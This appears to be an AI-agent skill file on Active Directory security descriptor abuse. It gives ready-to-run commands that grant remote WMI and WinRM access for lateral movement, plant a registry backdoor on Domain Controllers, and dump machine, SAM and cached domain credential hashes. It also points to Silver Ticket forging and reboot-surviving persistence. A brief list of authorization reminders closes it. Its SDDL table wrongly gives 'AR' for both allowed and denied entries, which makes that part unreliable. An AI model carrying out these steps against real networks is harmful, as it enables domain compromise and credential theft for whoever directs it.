abelrguezr Active Directory Security Descriptors
A skill for working with Security Descriptor Definition Language (SDDL) and security descriptor manipulation in Active Directory environments.
What are Security Descriptors?
Security descriptors store the permissions an object has over another object. By making changes to security descriptors, you can obtain privileges over objects without needing to be a member of privileged groups.
SDDL Format:
ace_type;ace_flags;rights;object_guid;inherit_object_guid;account_sid;
When to Use This Skill
Use this skill when you need to:
- Understand or modify SDDL strings
- Grant WMI access to users
- Configure WinRM/PowerShell Remoting access
- Create registry backdoors for hash dumping
- Analyze or manipulate ACLs for privilege escalation
- Create persistence mechanisms through security descriptor changes
WMI Access
Grant a user remote WMI execution access:
# Grant WMI access
Set-RemoteWMI -UserName <username> -ComputerName <hostname> -namespace 'root\cimv2' -Verbose
# Remove WMI access
Set-RemoteWMI -UserName <username> -ComputerName <hostname> -namespace 'root\cimv2' -Remove -Verbose
Use case: Allows remote WMI execution for lateral movement or persistence.
WinRM/PowerShell Remoting Access
Grant a user WinRM PowerShell console access:
# Grant WinRM access
Set-RemotePSRemoting -UserName <username> -ComputerName <hostname> -Verbose
# Remove WinRM access
Set-RemotePSRemoting -UserName <username> -ComputerName <hostname> -Remove -Verbose
Use case: Enables remote PowerShell sessions for command execution.
Registry Backdoor for Hash Dumping (DAMP)
Create a registry backdoor to remotely retrieve hashes and credentials:
# Create registry backdoor
Add-RemoteRegBackdoor -ComputerName <hostname> -Trustee <username> -Verbose
# Retrieve machine account hash
Get-RemoteMachineAccountHash -ComputerName <hostname> -Verbose
# Retrieve SAM account hashes
Get-RemoteLocalAccountHash -ComputerName <hostname> -Verbose
# Retrieve cached domain credentials
Get-RemoteCachedCredential -ComputerName <hostname> -Verbose
Use case: Very useful for granting regular users the ability to dump hashes from Domain Controllers without admin privileges.
Important Considerations
Domain Controller Targeting: Registry backdoors are especially valuable when applied to Domain Controllers, as they provide access to cached AD credentials.
Silver Tickets: The machine account hash from a Domain Controller can be used to create Silver Tickets. See related documentation on Silver Tickets for more information.
Persistence: Security descriptor modifications provide persistence that survives reboots and doesn't require scheduled tasks or services.
Detection: These techniques may be detected by:
- ACL change monitoring
- WMI/WinRM access logging
- Registry access monitoring
- DAMP tool signatures
Common SDDL Components
| Component | Description |
|---|---|
ace_type |
Type of ACE (e.g., AR for Access Allowed, AR for Access Denied) |
ace_flags |
Flags like OI (Object Inherit), CI (Container Inherit) |
rights |
Specific rights (e.g., GA for Generic All, RC for Read Control) |
object_guid |
GUID of the object being accessed |
account_sid |
SID of the account being granted/denied access |
Example Workflow
- Identify target object (e.g., Domain Controller, specific AD object)
- Determine needed access (WMI, WinRM, registry, etc.)
- Apply security descriptor change using appropriate tool
- Verify access by testing the granted permissions
- Document changes for cleanup or reporting
Tools Reference
- Nishang: PowerShell scripts for WMI and WinRM access
- DAMP: Tool for registry backdoor creation and hash retrieval
- PowerView: For enumerating and understanding current ACLs
Safety Notes
- Always have proper authorization before modifying security descriptors
- Document all changes for cleanup
- Test in non-production environments first
- Understand the impact of permission changes on system security